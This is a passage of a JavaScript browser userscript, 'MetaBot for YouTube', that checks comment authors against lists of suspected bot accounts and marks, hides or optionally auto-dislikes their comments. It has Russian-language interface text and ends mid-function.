$(jNode).find("input#colorcustom1").val(parseColor(GM_config.get('colorc1'), false)); $(jNode).find("input#colorcustom2").val(parseColor(GM_config.get('colorc2'), false)); $(jNode).find("input#colorcustom3").val(parseColor(GM_config.get('colorc3'), false)); if ($(jNode).find("select#mbcddm1").val() == 2) { $(jNode).find("span#mbcswg1").hide(); } if ($(jNode).find("input#mbcbox3").prop('checked') == false) { $(jNode).find("span#mbcswg2").hide(); } $(jNode).find("input#mbcbox1, input#mbcbox2, input#mbcbox3, input#mbcbox4, select#mbcddm1, textarea#listpersonal, input#listcustom1, input#listcustom2, input#listcustom3, input#colorpersonal, input#colorcustom1, input#colorcustom2, input#colorcustom3").change(function() { if ($(jNode).find("select#mbcddm1").val() == 2) { $(jNode).find("span#mbcswg1").hide(); } else { $(jNode).find("span#mbcswg1").show(); } if ($(jNode).find("input#mbcbox3").prop('checked') == false) { $(jNode).find("span#mbcswg2").hide(); } else { $(jNode).find("span#mbcswg2").show(); } saveconfigNew(jNode); }); } function saveconfig(jNode) { GM_config.set('option1', $(jNode).find("select#mbcddm1").val()); GM_config.set('option2', $(jNode).find("input#mbcbox1").is(":checked")); GM_config.set('option4', $(jNode).find("input#mbcbox3").is(":checked")); GM_config.set('option5', $(jNode).find("input#mbcbox4").is(":checked")); GM_config.set('listp1', $(jNode).find("textarea#listpersonal").val()); GM_config.set('listc1', $(jNode).find("input#listcustom1").val()); GM_config.set('listc2', $(jNode).find("input#listcustom2").val()); GM_config.set('listc3', $(jNode).find("input#listcustom3").val()); GM_config.set('colorp1', parseColor($(jNode).find("input#colorpersonal").val(), true)); GM_config.set('colorc1', parseColor($(jNode).find("input#colorcustom1").val(), true)); GM_config.set('colorc2', parseColor($(jNode).find("input#colorcustom2").val(), true)); GM_config.set('colorc3', parseColor($(jNode).find("input#colorcustom3").val(), true)); arrayListP1 = GM_config.get('listp1').match(/[^\r\n=]+/g); GM_config.save(); $(jNode).find("span#configsaved").show(); $(jNode).find("span#configsaved")[0].style.backgroundColor = 'rgba(40,150,230,1)'; setTimeout(function(){$(jNode).find("span#configsaved")[0].style.backgroundColor = 'rgba(40,150,230,0)';}, 400); } function saveconfigNew(jNode) { GM_config.set('option1', $(jNode).find("select#mbcddm1").val()); GM_config.set('option2', $(jNode).find("input#mbcbox1").is(":checked")); GM_config.set('option3', $(jNode).find("input#mbcbox2").is(":checked")); GM_config.set('option4', $(jNode).find("input#mbcbox3").is(":checked")); GM_config.set('option5', $(jNode).find("input#mbcbox4").is(":checked")); GM_config.set('listp1', $(jNode).find("textarea#listpersonal").val()); GM_config.set('listc1', $(jNode).find("input#listcustom1").val()); GM_config.set('listc2', $(jNode).find("input#listcustom2").val()); GM_config.set('listc3', $(jNode).find("input#listcustom3").val()); GM_config.set('colorp1', parseColor($(jNode).find("input#colorpersonal").val(), true)); GM_config.set('colorc1', parseColor($(jNode).find("input#colorcustom1").val(), true)); GM_config.set('colorc2', parseColor($(jNode).find("input#colorcustom2").val(), true)); GM_config.set('colorc3', parseColor($(jNode).find("input#colorcustom3").val(), true)); arrayListP1 = GM_config.get('listp1').match(/[^\r\n=]+/g); GM_config.save(); $(jNode).find("span#configsaved").show(); $(jNode).find("span#configsaved")[0].style.backgroundColor = 'rgba(40,150,230,1)'; setTimeout(function(){$(jNode).find("span#configsaved")[0].style.backgroundColor = 'rgba(40,150,230,0)';}, 400); } function resetconfig(jNode) { $(jNode).find("span#mbcswg1").show(); $(jNode).find("span#mbcswg2").show(); $(jNode).find("select#mbcddm1").val(1); $(jNode).find("input#mbcbox1").prop('checked', false); $(jNode).find("input#mbcbox2").prop('checked', true); $(jNode).find("input#mbcbox3").prop('checked', true); $(jNode).find("input#mbcbox4").prop('checked', false); $(jNode).find("input#listcustom1").val('https://github.com/asrdri/yt-metabot-user-js/raw/master/list-sample.txt'); $(jNode).find("input#listcustom2").val(''); $(jNode).find("input#listcustom3").val(''); $(jNode).find("input#colorpersonal").val(parseColor(33023, false)); $(jNode).find("input#colorcustom1").val(parseColor(8388863, false)); $(jNode).find("input#colorcustom2").val(parseColor(16744448, false)); $(jNode).find("input#colorcustom3").val(parseColor(8421504, false)); } function resetconfigNew(jNode) { $(jNode).find("span#mbcswg1").show(); $(jNode).find("span#mbcswg2").show(); $(jNode).find("select#mbcddm1").val(1); $(jNode).find("input#mbcbox1").prop('checked', false); $(jNode).find("input#mbcbox2").prop('checked', true); $(jNode).find("input#mbcbox3").prop('checked', true); $(jNode).find("input#mbcbox4").prop('checked', false); $(jNode).find("input#listcustom1").val('https://github.com/asrdri/yt-metabot-user-js/raw/master/list-sample.txt'); $(jNode).find("input#listcustom2").val(''); $(jNode).find("input#listcustom3").val(''); $(jNode).find("input#colorpersonal").val(parseColor(33023, false)); $(jNode).find("input#colorcustom1").val(parseColor(8388863, false)); $(jNode).find("input#colorcustom2").val(parseColor(16744448, false)); $(jNode).find("input#colorcustom3").val(parseColor(8421504, false)); } function sendAlert(jNode) { if (alertSent || GM_config.get('option5') === false) return; if (ytmode === 1) { var commentURL = $(jNode).find('.published-time-text a').prop('href'); } else { var commentURL = $(jNode).find('.comment-renderer-time a').prop('href'); } var commendid = getURLParameter('lc', commentURL); var videoid = getURLParameter('v', commentURL); var data = $.param({v: videoid, lc: commendid}); var request = new XMLHttpRequest(); request.open("POST", alerturl, true); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.send(data); alertSent = true; this.addEventListener('yt-navigate-start', function clearAlertSentFlag() { this.removeEventListener('yt-navigate-start', clearAlertSentFlag); alertSent = false; }); } function parseitem(jNode) { if (GM_config.get('option4') === true) { var spanlistpadd = txtlistpadd; } else { var spanlistpadd = ''; } var pNode = $(jNode).parent().parent()[0]; $(pNode).hover(function blockShow() { $(pNode).find("#t30sp").show(); }, function blockHide() { $(pNode).find("#t30sp").hide(); }); pNode = jNode[0]; var userID = $(jNode).find("a")[0].href.split('/').pop(); var foundID = arrayERKY.indexOf(userID); var foundIDp1 = -1; var foundIDc1 = -1; var foundIDc2 = -1; var foundIDc3 = -1; if (GM_config.get('option4') === true) { if (arrayListP1 !== null) { foundIDp1 = arrayListP1.indexOf(userID); } if (typeof arrayListC1 !== 'undefined' && arrayListC1.length > 1) { foundIDc1 = arrayListC1.indexOf(userID); } if (typeof arrayListC2 !== 'undefined' && arrayListC2.length > 1) { foundIDc2 = arrayListC2.indexOf(userID); } if (typeof arrayListC3 !== 'undefined' && arrayListC3.length > 1) { foundIDc3 = arrayListC3.indexOf(userID); } } var comURL = $(jNode).find("span.comment-renderer-time")[0]; if ($(jNode).find("span.comment-renderer-linked-comment").length > 0) { comURL = $(jNode).find("span.comment-renderer-linked-comment")[0]; } var t30span = document.createElement('span'); t30span.innerHTML = '\u2003<span id="about" style="cursor: pointer; font-family: Segoe UI Symbol; color: #767676" title="Открыть страницу с датой регистрации">\u2753</span>\u2003<span id="top30" style="cursor: pointer" title="Найти другие комментарии автора с помощью агрегатора ТОП30"><font color="#7777fa">top</font><font color="#fa7777">30</font></span>' + spanlistpadd; t30span.id = 't30sp'; t30span.style = "display:none"; if (foundID > -1) { sendAlert(jNode); console.log("[MetaBot for Youtube] user found in ERKY-db: " + userID); if (GM_config.get('option1') == 2) { foundIDp1 = -1; foundIDc1 = -1; foundIDc2 = -1; foundIDc3 = -1; var hidspan = document.createElement('span'); hidspan.innerHTML = 'Комментарий скрыт: пользователь найден в ЕРКЮ'; hidspan.classList.add('yt-badge'); hidspan.style = 'margin:0 0 10px 0;text-align:center;text-transform:none;font-weight:500;width:100%;background-color:hsla(0, 0%, 93.3%, .6)'; $(jNode).parent().parent().after(hidspan); $(jNode).parent().parent().hide(); } else { markred(pNode, arrayERKY[foundID + 1]); } $(comURL).after(t30span); } else { var newspan = document.createElement('span'); newspan.innerHTML = '<img id="checkbtn" src="' + checkb + '" title="Проверить дату регистрации" style="cursor: help" />'; newspan.id = 'checksp'; pNode.insertBefore(newspan, pNode.firstChild); t30span.innerHTML += '\u2003<span id="sendlink" style="cursor: pointer" title="Помогите пополнить список известных ботов - отправьте нам данные о подозрительном комментарии">\u27A4</span>'; $(comURL).after(t30span); $(jNode).find("img")[0].addEventListener("click", function checkcomment() { checkdate(pNode); }, false); $(jNode).find("#sendlink")[0].addEventListener("click", function displayinfo() { sendinfo(); }, false); } if (GM_config.get('option4') === true) { if (foundIDc1 > -1) { markcustom(pNode, arrayListC1[foundIDc1 + 1], 1); } if (foundIDc2 > -1) { markcustom(pNode, arrayListC2[foundIDc2 + 1], 2); } if (foundIDc3 > -1) { markcustom(pNode, arrayListC3[foundIDc3 + 1], 3); } if (foundIDp1 > -1) { if ($(jNode).find("#checkbtn").length > 0) { $(jNode).find("#checkbtn")[0].remove(); } markpersonal(pNode, arrayListP1[foundIDp1 + 1]); } $(jNode).find("#listpadd")[0].addEventListener("click", function addtolistNew() { if ($(pNode).find("span#bookmark").length > 0) { listpdel(pNode); $(jNode).find("#listpadd").html(iconsdef[0]); $(jNode).find("#listpadd")[0].title = 'Добавить в закладки'; } else { if ($(jNode).find("#checkbtn").length > 0) { $(jNode).find("#checkbtn")[0].remove(); } $(jNode).find("#listpadd").html('\u23F3'); getpage(listpadd, pNode, $(jNode).find("a")[0].href + '/about') } }, false); } $(jNode).find("#about")[0].addEventListener("click", function openabout() { window.open($(jNode).find("a")[0].href + '/about'); }, false); $(jNode).find("#top30")[0].addEventListener("click", function opent30() { window.open('https://www.t30p.ru/search.aspx?s=' + $(jNode).find("a")[0].href.split('/').pop()); }, false); } function parseitemMob(jNode) { var userID = $(jNode).find("a")[0].href.split('/').pop(); var foundID = arrayERKY.indexOf(userID); if (foundID > -1) { console.log("[MetaBot for Youtube] user found in ERKY-db: " + userID); markredMob(jNode, arrayERKY[foundID + 1]); } else { $(jNode)[0].addEventListener("touchstart", function () { $(this).data('moved', '0'); }, false); $(jNode)[0].addEventListener("touchmove", function () { $(this).data('moved', '1'); }, false); $(jNode)[0].addEventListener("touchend", function ttend() { if ($(this).data('moved') == 0){ if (['en', 'en-US', 'en-GB', 'ru', 'uk', 'be', 'bg'].indexOf(currentlangmob()) < 0) { alert('Функция поддерживается только на языках:\n \u2714 English\n \u2714 Русский\n \u2714 Українська\n \u2714 Беларуская \u2714 Български\nВы можете сменить язык интерфейса в меню настроек YouTube.'); return; } this.removeEventListener("touchend", ttend); checkdateMob(this); } }, false); } } function parseitemNew(jNode) { if (GM_config.get('option4') === true) { var spanlistpadd = txtlistpadd; } else { var spanlistpadd = ''; } var pNode = $(jNode).find("#header-author.ytd-comment-renderer")[0]; $(jNode).hover(function blockShow() { $(pNode).find("#t30sp").show(); }, function blockHide() { $(pNode).find("#t30sp").hide(); }); var userID = $(jNode).find("a")[0].href.split('/').pop(); var foundID = arrayERKY.indexOf(userID); var foundIDp1 = -1; var foundIDc1 = -1; var foundIDc2 = -1; var foundIDc3 = -1; if (GM_config.get('option4') === true) { if (arrayListP1 !== null) { foundIDp1 = arrayListP1.indexOf(userID); } if (typeof arrayListC1 !== 'undefined' && arrayListC1.length > 1) { foundIDc1 = arrayListC1.indexOf(userID); } if (typeof arrayListC2 !== 'undefined' && arrayListC2.length > 1) { foundIDc2 = arrayListC2.indexOf(userID); } if (typeof arrayListC3 !== 'undefined' && arrayListC3.length > 1) { foundIDc3 = arrayListC3.indexOf(userID); } } var comURL = $(jNode).find(".published-time-text")[0]; var t30span = document.createElement('span'); t30span.innerHTML = '\u2003<span id="about" style="cursor: pointer; ' + iconstyledef + '" title="Открыть страницу с датой регистрации">\u2753</span>\u2003<span id="top30" style="cursor: pointer" title="Найти другие комментарии автора с помощью агрегатора ТОП30"><font color="#7777fa">top</font><font color="#fa7777">30</font></span>' + spanlistpadd; t30span.id = 't30sp'; t30span.style = "display:none"; var newspan = document.createElement('span'); newspan.id = 'checksp'; if (foundID > -1) { sendAlert(jNode); console.log("[MetaBot for Youtube] user found in ERKY-db: " + userID); if (GM_config.get('option1') == 2) { foundIDp1 = -1; foundIDc1 = -1; foundIDc2 = -1; foundIDc3 = -1; var hidspan = document.createElement('span'); hidspan.innerHTML = 'Комментарий скрыт: пользователь найден в ЕРКЮ'; hidspan.classList.add('badge'); hidspan.classList.add('badge-style-type-simple'); hidspan.classList.add('ytd-badge-supported-renderer'); hidspan.style = 'margin: 0 0 10px 0;text-align:center'; $(jNode).parent().parent().after(hidspan); $(jNode).parent().parent().hide(); } else { markredNew($(pNode).parent(), arrayERKY[foundID + 1]); } $(comURL).append(t30span); $(newspan).attr('data-chan', $(jNode).find("a#author-text")[0].href); pNode.insertBefore(newspan, pNode.firstChild); } else { newspan.innerHTML = '<img id="checkbtn" src="' + checkb + '" title="Проверить дату регистрации" style="cursor: help" />'; $(newspan).attr('data-chan', $(jNode).find("a#author-text")[0].href); pNode.insertBefore(newspan, pNode.firstChild); t30span.innerHTML += '\u2003<span id="sendlink" style="cursor: pointer" title="Помогите пополнить список известных ботов - отправьте нам данные о подозрительном комментарии">\u27A4</span>'; $(comURL).append(t30span); $(jNode).find("#checkbtn")[0].addEventListener("click", function checkcommentNew() { checkdateNew($(pNode).parent()); }, false); $(jNode).find("#sendlink")[0].addEventListener("click", function displayinfoNew() { sendinfo(); }, false); } if (GM_config.get('option4') === true) { if (foundIDc1 > -1) { markcustomNew($(pNode).parent(), arrayListC1[foundIDc1 + 1], 1); } if (foundIDc2 > -1) { markcustomNew($(pNode).parent(), arrayListC2[foundIDc2 + 1], 2); } if (foundIDc3 > -1) { markcustomNew($(pNode).parent(), arrayListC3[foundIDc3 + 1], 3); } if (foundIDp1 > -1) { if ($(jNode).find("#checkbtn").length > 0) { $(jNode).find("#checkbtn")[0].remove(); } markpersonalNew($(pNode).parent(), arrayListP1[foundIDp1 + 1]); } $(jNode).find("#listpadd")[0].addEventListener("click", function addtolistNew() { if ($(pNode).find("span#bookmark").length > 0) { listpdelNew(pNode); $(jNode).find("#listpadd").html(iconsdef[0]); $(jNode).find("#listpadd")[0].title = 'Добавить в закладки'; } else { if ($(jNode).find("#checkbtn").length > 0) { $(jNode).find("#checkbtn")[0].remove(); } $(jNode).find("#listpadd").html('\u23F3'); getpage(listpaddNew, pNode, $(jNode).find("a")[0].href + '/about') } }, false); } $(jNode).find("#about")[0].addEventListener("click", function openaboutNew() { window.open($(jNode).find("a")[0].href + '/about'); }, false); $(jNode).find("#top30")[0].addEventListener("click", function opent30New() { window.open('https://www.t30p.ru/search.aspx?s=' + $(jNode).find("a")[0].href.split('/').pop()); }, false); this.addEventListener('yt-navigate-start', function wipeitemNewS() { this.removeEventListener('yt-navigate-start', wipeitemNewS); deleteitemNew(jNode, $(comURL).find("a")[0].href); }); this.addEventListener('yt-navigate-finish', function wipeitemNewF() { this.removeEventListener('yt-navigate-finish', wipeitemNewF); deleteitemNew(jNode, $(comURL).find("a")[0].href); }); } function recheckNew(jNode) { var checkre = $(jNode).find("#checksp")[0]; if (typeof checkre !== 'undefined') { if ($(checkre).attr('data-chan') !== $(jNode).find("a#author-text")[0].href) { $(jNode).find("#checksp").remove(); $(jNode).find("#t30sp").remove(); $(jNode).find("#botmark").remove(); var cNode = $(jNode).parent().parent().find("#content-text"); $(cNode).parent().removeAttr('style'); $(cNode).removeAttr('style'); $(jNode).find("ytd-toggle-button-renderer.ytd-comment-action-buttons-renderer:eq(1)").removeAttr('style'); parseitemNew(jNode); } } } function deleteitemNew(jNode, url) { if (url.length > 74) { $(jNode).parent().parent().remove(); } else { $(jNode).parent().parent().parent().remove(); } } function sendinfo() { var answer = confirm('Будет запущен Telegram.' + '\n\nПрисоединитесь к группе, отправьте ссылку на подозрительный' + '\nкомментарий (можно скопировать из даты публикации) и обоснуйте подозрения.\n\nПерейти к группе?'); if (answer) { window.open(reporturl); } } function listpadd(jNode, response, url) { window.tempHTML = document.createElement('html'); tempHTML.innerHTML = response; window.aboutSTAT = tempHTML.getElementsByClassName('about-stat'); var day = Dparse(aboutSTAT[aboutSTAT.length - 1].innerHTML); $('textarea#listpersonal')[0].value += url.substring(0, url.length - 6).split('/').pop() + '=' + day + '\n'; var tempArray = $('textarea#listpersonal')[0].value.split('\n'); var uniqArray = tempArray.reduce(function(a,b){ if (a.indexOf(b) < 0) a.push(b); return a; },[]); $('textarea#listpersonal')[0].value = uniqArray.join('\n'); GM_config.set('listp1', uniqArray.join('\n')); GM_config.save(); arrayListP1 = GM_config.get('listp1').match(/[^\r\n=]+/g); $(jNode).find("#listpadd").html('\u274C'); $(jNode).find("#listpadd")[0].title = 'Удалить из закладок'; markpersonal(jNode, day); console.log("[MetaBot for Youtube] Bookmarks (personal list) updated."); } function listpaddNew(jNode, response, url) { var matches = regexdate.exec(response); var day = Dparse(matches[3]); $('textarea#listpersonal')[0].value += url.substring(0, url.length - 6).split('/').pop() + '=' + day + '\n'; var tempArray = $('textarea#listpersonal')[0].value.split('\n'); var uniqArray = tempArray.reduce(function(a,b){ if (a.indexOf(b) < 0) a.push(b); return a; },[]); $('textarea#listpersonal')[0].value = uniqArray.join('\n'); GM_config.set('listp1', uniqArray.join('\n')); GM_config.save(); arrayListP1 = GM_config.get('listp1').match(/[^\r\n=]+/g); $(jNode).find("#listpadd").html('\u274C'); $(jNode).find("#listpadd")[0].title = 'Удалить из закладок'; markpersonalNew($(jNode).parent(), day); console.log("[MetaBot for Youtube] Bookmarks (personal list) updated."); } function listpdel(jNode) { $(jNode).find("span#bookmark").remove(); var tempArray = $('textarea#listpersonal')[0].value.split('\n'); var itemDel = arrayListP1.indexOf($(jNode).find("a")[0].href.split('/').pop()); tempArray.splice(itemDel / 2,1); $('textarea#listpersonal')[0].value = tempArray.join('\n'); GM_config.set('listp1', tempArray.join('\n')); GM_config.save(); arrayListP1 = GM_config.get('listp1').match(/[^\r\n=]+/g); $(jNode).next().css({ "background-image": "none", "border-right": "", "padding-right": "" }); console.log("[MetaBot for Youtube] Bookmarks (personal list) updated."); } function listpdelNew(jNode) { $(jNode).find("span#bookmark").remove(); var tempArray = $('textarea#listpersonal')[0].value.split('\n'); var itemDel = arrayListP1.indexOf($(jNode).find("a")[0].href.split('/').pop()); tempArray.splice(itemDel / 2,1); $('textarea#listpersonal')[0].value = tempArray.join('\n'); GM_config.set('listp1', tempArray.join('\n')); GM_config.save(); arrayListP1 = GM_config.get('listp1').match(/[^\r\n=]+/g); $(jNode).parent().parent().find("#content-text").parent().css({ "background-image": "none", "border-right": "", "padding-right": "" }); console.log("[MetaBot for Youtube] Bookmarks (personal list) updated."); } function checkdate(jNode) { if (['en', 'en-US', 'en-GB', 'ru', 'uk', 'be', 'bg'].indexOf(currentlang()) < 0) { alert('Функция поддерживается только на языках:\n \u2714 English\n \u2714 Русский\n \u2714 Українська\n \u2714 Беларуская \u2714 Български\nВы можете сменить язык интерфейса в меню настроек YouTube.'); return; } $(jNode).find("img")[0].remove(); getpage(procdate, jNode, $(jNode).find("a")[0].href + '/about'); } function checkdateMob(jNode) { var channelURL = $(jNode).find("a")[0].href + '/about?ajax=1'; var request = new XMLHttpRequest(); request.onreadystatechange = function() { if (request.readyState === 4) { if (request.status === 200) { var response = request.responseText; if (response !== "") { console.log("[MetaBot for Youtube] XMLHttpRequest done."); var matches = regexdatemob.exec(response); var testday = Dparse(decodeURIComponent(JSON.parse('"' + matches[3] + '"'))); $(jNode).parent().find("div.erb").find("a")[0].innerHTML = $(jNode).parent().find("div.erb").find("a")[0].innerHTML + ' <img src="' + minf + '" title="Дата регистрации:" /> ' + testday; $(jNode).parent().find("div.zqb").css({ "background": "rgba(170,170,170,0.3)", "border-left": "3px solid rgba(170,170,170,0.3)", "padding-left": "3px" }); } else { console.log("[MetaBot for Youtube] XMLHttpRequest failed."); } } } }; request.open("GET", channelURL, true); request.send(null); } function checkdateNew(jNode) { if (['en', 'en-US', 'en-GB', 'ru', 'uk', 'be', 'bg'].indexOf(currentlang()) < 0) { alert('Функция поддерживается только на языках:\n \u2714 English\n \u2714 Русский\n \u2714 Українська\n \u2714 Беларуская \u2714 Български\nВы можете сменить язык интерфейса в меню настроек YouTube.'); return; } $(jNode).find("#checkbtn")[0].remove(); var userID = $(jNode).find("a")[0].href.split('/').pop(); var foundID = arrayERKY.indexOf(userID); if (foundID > -1) { console.log("[MetaBot for Youtube] user found in ERKY-db: " + userID); markredNew(jNode, arrayERKY[foundID + 1]); } else { getpage(procdateNew, jNode, $(jNode).find("a")[0].href + '/about'); } } function procdate(jNode, response, url) { window.tempHTML = document.createElement('html'); tempHTML.innerHTML = response; window.aboutSTAT = tempHTML.getElementsByClassName('about-stat'); var testday = Dparse(aboutSTAT[aboutSTAT.length - 1].innerHTML); var newspan = document.createElement('span'); newspan.id = 'botmark'; newspan.innerHTML = ' <img src="' + minf + '" title="Дата регистрации:" /> ' + testday; $(jNode).find("a.comment-author-text").after(newspan); $(jNode).next().css({ "background": "rgba(170,170,170,0.3)", "border-left": "3px solid rgba(170,170,170,0.3)", "padding-left": "3px" }); delete window.aboutSTAT; delete window.tempHTML; } function procdateNew(jNode, response, url) { var matches = regexdate.exec(response); var testday = Dparse(matches[3]); var aNode = $(jNode).find("#author-text")[0]; var cNode = $(jNode).parent().find("#content-text")[0]; var newspan = document.createElement('span'); newspan.id = 'botmark'; var checkBadge = $(aNode).parent().find('span#author-comment-badge')[0]; newspan.innerHTML = '<img src="' + minf + '" title="Дата регистрации:" /> ' + testday; $(aNode).append(newspan); if ($(checkBadge).length > 0) { $(checkBadge).attr('hidden', ''); $(aNode).removeAttr('hidden'); } $(cNode).parent().css({ "background": "rgba(170,170,170,0.3)", "border-left": "3px solid rgba(170,170,170,0.3)", "padding-left": "3px" }); aNode = $(jNode).find("#checksp"); aNode.attr('data-chan', $(jNode).find("a#author-text")[0].href); aNode.hide(); } function markred(jNode, day) { var newspan = document.createElement('span'); newspan.id = 'botmark'; newspan.innerHTML = ' <img src="' + mred + '" title="- пользователь найден в #ЕРКЮ, дата регистрации -" /> ' + day; $(jNode).find("a.comment-author-text").after(newspan); $(jNode).next().css({ "background": "rgba(255,50,50,0.3)", "border-left": "3px solid rgba(255,50,50,0.3)", "padding-left": "3px" }); if (GM_config.get('option2') === true) { requestDislike(jNode, false); } } function markredMob(jNode, day) { $(jNode).parent().find("div.erb").find("a")[0].innerHTML = $(jNode).parent().find("div.erb").find("a")[0].innerHTML + ' <img src="' + mred + '" title="Пользователь найден в ЕРКЮ" /> ' + day; $(jNode).parent().find("div.zqb").css({ "background": "rgba(255,50,50,0.3)", "border-left": "3px solid rgba(255,50,50,0.3)", "padding-left": "3px" }); } function markredNew(jNode, day) { var aNode = $(jNode).find("#author-text")[0]; var cNode = $(jNode).parent().find("#content-text")[0]; var newspan = document.createElement('span'); newspan.id = 'botmark'; newspan.innerHTML = '<img src="' + mred + '" title="- найден в #ЕРКЮ, дата регистрации -" /> ' + day; $(aNode).append(newspan); var checkBadge = $(aNode).parent().find('span#author-comment-badge')[0]; if ($(checkBadge).length > 0) { $(checkBadge).attr('hidden', ''); $(aNode).removeAttr('hidden'); } $(cNode).parent().css({ "background": "rgba(255,50,50,0.3)", "border-left": "3px solid rgba(255,50,50,0.3)", "padding-left": "3px" }); if (GM_config.get('option2') === true) { requestDislike(jNode, true); } } function markcustom(jNode, day, list) { switch (list) { case 1: var listname = Aparse(arrayListC1[0]); break case 2: var listname = Aparse(arrayListC2[0]); break case 3: var listname = Aparse(arrayListC3[0]); } var botmark = $(jNode).find("#botmark"); var rgbCustom = gmColor('colorc' + list, 1) + "," + gmColor('colorc' + list, 2) + "," + gmColor('colorc' + list, 3); var marktxt = ' <span style="' + iconstyledef + ' color: rgb(' + rgbCustom + '); font-size: 1.3em;" title="Найден в списке ' + listname + '">' + iconsdef[list] + '</span> '; if (botmark.length > 0) { $(botmark).prepend(marktxt); } else { $(jNode).find("#checkbtn")[0].remove(); var newspan = document.createElement('span'); newspan.id = 'botmark'; newspan.innerHTML = marktxt + day; $(jNode).find("a.comment-author-text").after(newspan); $(jNode).next().css({ "background": "rgba(" + rgbCustom + ",.3)", "border-left": "3px solid rgba(" + rgbCustom + ",0.3)", "padding-left": "3px" }); } } function markcustomNew(jNode, day, list) { switch (list) { case 1: var listname = Aparse(arrayListC1[0]); break case 2: var listname = Aparse(arrayListC2[0]); break case 3: var listname = Aparse(arrayListC3[0]); } var aNode = $(jNode).find("#author-text")[0]; var cNode = $(jNode).parent().find("#content-text")[0]; var checkBadge = $(aNode).parent().find('span#author-comment-badge')[0]; var botmark = $(cNode).parent().parent().parent().find("#botmark"); var rgbCustom = gmColor('colorc' + list, 1) + "," + gmColor('colorc' + list, 2) + "," + gmColor('colorc' + list, 3); var marktxt = '<span style="' + iconstyledef + ' color: rgb(' + rgbCustom + '); font-size: 1.3em;" title="Найден в списке ' + listname + '">' + iconsdef[list] + '</span> '; if (botmark.length > 0) { $(botmark).prepend(marktxt); } else { $(jNode).find("#checkbtn")[0].remove(); var newspan = document.createElement('span'); newspan.id = 'botmark'; newspan.innerHTML = marktxt + day; $(aNode).append(newspan); if ($(checkBadge).length > 0) { $(checkBadge).attr('hidden', ''); $(aNode).removeAttr('hidden'); } $(cNode).parent().css({ "background": "rgba(" + rgbCustom + ",.3)", "border-left": "3px solid rgba(" + rgbCustom + ",0.3)", "padding-left": "3px" }); } } function markpersonal(jNode, day) { $(jNode).find("#listpadd").html('\u274C'); $(jNode).find("#listpadd")[0].title = 'Удалить из закладок'; var botmark = $(jNode).parent().find("#botmark"); var rgbCustom = gmColor('colorp1', 1) + "," + gmColor('colorp1', 2) + "," + gmColor('colorp1', 3); var marktxt = ' <span id="bookmark" style="' + iconstyledef + ' color: rgb(' + rgbCustom + '); font-size: 1.3em;" title="Добавлен в закладки">' + iconsdef[0] + '</span> '; if (botmark.length > 0) { $(botmark).prepend(marktxt); $(jNode).next().css({ "background-image": "linear-gradient(230deg, rgba(" + rgbCustom + ",.4) 20%, rgba(0,0,0,0) 30%)" }); } else { var newspan = document.createElement('span'); newspan.id = 'botmark'; newspan.innerHTML = marktxt + day; $(jNode).find("a.comment-author-text").after(newspan); $(jNode).next().css({ "background": "linear-gradient(230deg, rgba(" + rgbCustom + ",.4) 20%, rgba(0,0,0,0) 30%)" }); } $(jNode).next().css({ "background-origin": "border-box", "border-right": "3px solid rgba(" + rgbCustom + ",.3)", "padding-right": "3px" }); } function markpersonalNew(jNode, day) { $(jNode).find("#listpadd").html('\u274C'); $(jNode).find("#listpadd")[0].title = 'Удалить из закладок'; var aNode = $(jNode).find("#author-text")[0]; var cNode = $(jNode).parent().find("#content-text")[0]; var checkBadge = $(aNode).parent().find('span#author-comment-badge')[0]; var botmark = $(cNode).parent().parent().parent().find("#botmark"); var rgbCustom = gmColor('colorp1', 1) + "," + gmColor('colorp1', 2) + "," + gmColor('colorp1', 3); var marktxt = '<span id="bookmark" style="' + iconstyledef + ' color: rgb(' + rgbCustom + '); font-size: 1.3em;" title="Добавлен в закладки">' + iconsdef[0] + '</span> '; if (botmark.length > 0) { $(botmark).prepend(marktxt); $(cNode).parent().css({ "background-image": "linear-gradient(230deg, rgba(" + rgbCustom + ",.4) 20%, rgba(0,0,0,0) 30%)" }); } else { var newspan = document.createElement('span'); newspan.id = 'botmark'; newspan.innerHTML = marktxt + day; $(aNode).append(newspan); if ($(checkBadge).length > 0) { $(checkBadge).attr('hidden', ''); $(aNode).removeAttr('hidden'); } $(cNode).parent().css({ "background": "linear-gradient(230deg, rgba(" + rgbCustom + ",.4) 20%, rgba(0,0,0,0) 30%)" }); } $(cNode).parent().css({ "background-origin": "border-box", "border-right": "3px solid rgba(" + rgbCustom + ",.3)", "padding-right": "3px" }); } function gmColor(gmVar, colpos) { return parseInt(parseColor(GM_config.get(gmVar), false).slice(colpos*2-1, colpos*2+1), 16) } function requestDislike(jNode, isNew) { var element; if (isNew) { element = $(jNode).parent().find("ytd-toggle-button-renderer.ytd-comment-action-buttons-renderer:not(.style-default-active)")[1]; } else { element = $(jNode).parent().find(".yt-uix-button.comment-action-buttons-renderer-thumb[aria-checked='false']")[1]; } if (element) orderedClicksArray.push(element); if (bDTaskSet == 0) { bDTaskSet = 1; setTimeout(scheduledDislike, minDCTime + Math.random() * (maxDCTime - minDCTime), isNew); } } function scheduledDislike(isNew) { if ( bDBlur || document.querySelector('paper-dialog.ytd-popup-container:not([style*="display:none"]):not([style*="display: none"])') || document.querySelector('div.yt-dialog-fg-content.yt-dialog-show-content') ) { setTimeout(scheduledDislike, minDCTime + Math.random() * (maxDCTime - minDCTime), isNew); } else { if (orderedClicksArray.length) { var element = orderedClicksArray.shift(); if ( (isNew && !(element.classList.contains("style-default-active"))) || (element.getAttribute("aria-checked") == "false") ) { $(element).css({"background": "rgba(255,50,50,0.3)"}); if (isNew) {$(element).css({"border-radius": "50%"});} element.click(); } else { setTimeout(scheduledDislike, 100, isNew); return; } setTimeout(scheduledDislike, minDCTime + Math.random() * (maxDCTime - minDCTime), isNew); } else { bDTaskSet = 0; } } } function Dparse(day) { day = day.replace(/Joined |Дата регистрации: |Ви приєдналися |Член от |Далучыўся(-лася) /i, ''); day = day.replace(/ янв\. | января | січ\. |\.01\./i, ' Jan, '); day = day.replace(/ февр\. | февраля | лют\. |\.02\./i, ' Feb, '); day = day.replace(/ мар\. | марта | бер\. |\.03\./i, ' Mar, '); day = day.replace(/ апр\. | апреля | квіт\. |\.04\./i, ' Apr, '); day = day.replace(/ мая\. | мая | трав\. |\.05\./i, ' May, '); day = day.replace(/ июн\. | июня | черв\.|\.06\./i, ' Jun, '); day = day.replace(/ июл\. | июля | лип\. |\.07\./i, ' Jul, '); day = day.replace(/ авг\. | августа | серп\. |\.08\./i, ' Aug, '); day = day.replace(/ сент\. | сентября | вер\. |\.09\./i, ' Sep, '); day = day.replace(/ окт\. | октября | жовт\. 